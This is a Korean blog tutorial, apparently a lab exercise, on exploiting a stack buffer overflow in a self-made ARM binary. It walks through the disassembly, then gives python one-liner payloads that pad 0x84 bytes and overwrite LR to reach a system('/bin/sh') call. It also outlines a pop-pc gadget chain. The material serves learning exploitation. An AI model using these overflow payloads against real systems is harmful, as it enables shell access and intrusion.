본문 바로가기

Exploit

ARM BOF

SMALL

ARM BOF를 해본다. 별반 다를게 없다는 생각이 든다. 

먼저 간단히 실행을 시켜본다.

[출력 화면]

인자에 값을 넣어주면 Hello BOF ARM과 함께 입력한 값을 보여준다.


bof이기 때문에 일단 먼저 a를 무식하게 많이 넣어본다. 


[0x61616161]


위의 그림과 같이 eip가 61로 덮였다. 간단하게 위와 같이 확인하고 분석해보도록 한다.


STMFD   SP!, {R11,LR}

ADD     R11, SP, #4        //R11을 EBP 처리

SUB     SP, SP, #0x88     // Frame 공간 0x88 확보

STR     R0, [R11,#var_88]    // argc를  r0에 복사

STR     R1, [R11,#var_8C]    // argv를 r1에 복사

LDR     R0, =aHelloBofArm ; "Hello BOF ARM"

BL      puts            //R0 인자 Hello BOF~ 출력함

LDR     R3, [R11,#var_8C]    //R3에 **argv넣음

ADD     R3, R3, #4             // 첫번째 인자로 교체

LDR     R3, [R3]                 // argv[1] 넣음

SUB     R2, R11, #-dest       // r11-0x84 로 교체

MOV     R0, R2          ; dest

MOV     R1, R3          ; src

BL      strcpy


간단하게 표현하면  strcpy(r11-0x84, argv[1])로 표현할 수있다.

[0x84] [LR] [R11]와 같은 Stack을 그려볼 수 있다. r11-0x84 위치에 입력 값을 넣을 수 있고, 길이 제한이 없어서 r11, lr 모두 덮을 수있다.


이를 이용해서 fake ebp, shellcode 이용 등 다양한 방법으로 공격이 가능하다.

하지만 편의상 uncalled_Func을 만들어 두었다. 절대 호출 되지 않는 함수이고 호출하여도, 조건에 의해서 실행되지 않는 함수이다.



if문에 의해서 절대 실행되지 않는 system(/bin/sh)가 존재하는 함수이다.

이를 실행 하기 위해서는 system함수를 호출하는 주소를 실행시킨다. 0x000104d4부분을 실행시켜야 할것 같다.


실행 흐름을 변경시키는 방법으로는 밑의 방법을 해본다.


1. 스택에 존재하는 LR 값 변경

LR 값은 해당 함수가 끝나고 돌아갈 위치를 저장하고 있기 때문에 eip를 변조 시킬수 있다. 해당 부분을 system 호출 부분으로 변경한다.

./bof `python -c 'print "a"*0x84 + "BBBB"'` --> EIP \x42\x42\x42\x42로 변경된다.

./bof `python -c 'print "a"*0x84 + "\xd4\x04\x01\x00\x00"'과 같이 넣어주면 해당 system 함수를 실행할 수 있다.

의문점이 0x00까지 끊겨서 들어가는데 뒤에 \x00\x00대신에 \x00\x4b를 넣으면 0x4b0104d4실행된다. null을 두개 넣어야 한다.




2. pop pc 가젯을 이용한 방법

pc는 다음에 실행시킬 주소를 가지고 있다. LR 값을 pop pc 가젯 부분으로 돌리고 스택에 실행 시킬 주소를 넣어두면 된다.

null 주소 값때문에 공격에 성가셔서 gets 함수로 입력을 받게한 파일로 진행했다.


STR     LR, [SP,#var_4]!

SUB     SP, SP, #0x84

LDR     R0, =aHelloBofArm ; "Hello BOF ARM"

BL      puts

MOV     R0, SP          ; s

BL      gets

LDR     R0, =aInputStringS ; "Input String : %s\n"

MOV     R1, SP

BL      printf

MOV     R0, #0

ADD     SP, SP, #0x84


gets로 입력 값을 받는데 0x84 이상 넣게 되면 문제가 생긴다.


ret를 덮는 부분에 pop pc 부분을 넣고, 스택에 돌아갈 주소를 넣어주면 된다.


dummy[0x84] + ret[pop pc] + r11[ebp] + 호출하고싶은 주소


seed48 부분의 gadget을 사용한다.



seed48 부분을 보면 인자를 맞추기 좋은 r0, pc 관련 가젯들이 존재한다.




add r0, r4,#6 --> 첫번째 인자 셋팅

pop {r4, pc} --> ret 컨트롤



LIST

'Exploit' 카테고리의 다른 글

ARM RTL[Ret2ZP]  (0) 2016.12.21
표준 입,출력 함수 정리  (0) 2016.12.14
리눅스 방어기법 해체  (0) 2016.04.21
라이브러리 메모리 확인방법  (0) 2016.04.15
파일 백업 linux  (0) 2016.04.15